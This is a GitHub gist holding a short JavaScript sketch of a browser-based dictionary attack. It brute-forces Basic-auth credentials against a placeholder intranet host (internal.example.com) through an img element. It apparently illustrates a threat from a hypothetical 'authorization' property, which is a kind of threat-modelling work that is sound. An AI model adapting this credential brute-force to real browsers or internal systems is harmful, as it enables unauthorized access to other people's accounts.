Skip to content

Instantly share code, notes, and snippets.

@andreubotella
Last active January 13, 2021 15:13
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save andreubotella/04e617f15af88125597d842c40e2edba to your computer and use it in GitHub Desktop.
Save andreubotella/04e617f15af88125597d842c40e2edba to your computer and use it in GitHub Desktop.
const knownUsernames = [
// A list of likely usernames for known employees of Example Inc.
];
const commonPasswords = [
"password",
"passw0rd",
"password1",
"password123456",
"PaSsWoRd",
// ... etc.
];
async function dictionaryAttack() {
const img = document.createElement("img");
document.body.appendChild(img);
for (const username of knownUsernames) {
for (const password of commonPasswords) {
// Let's say we somehow know that internal.example.com/images/my_profile_pic.png
// exists and is an image.
img.src = "https://internal.example.com/images/my_profile_pic.png";
img.authorization = `Basic ${btoa(username + ":" + password)}`;
try {
await img.decode();
return {username, password};
} catch (e) {
// Do nothing, let's try the next combination.
}
}
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment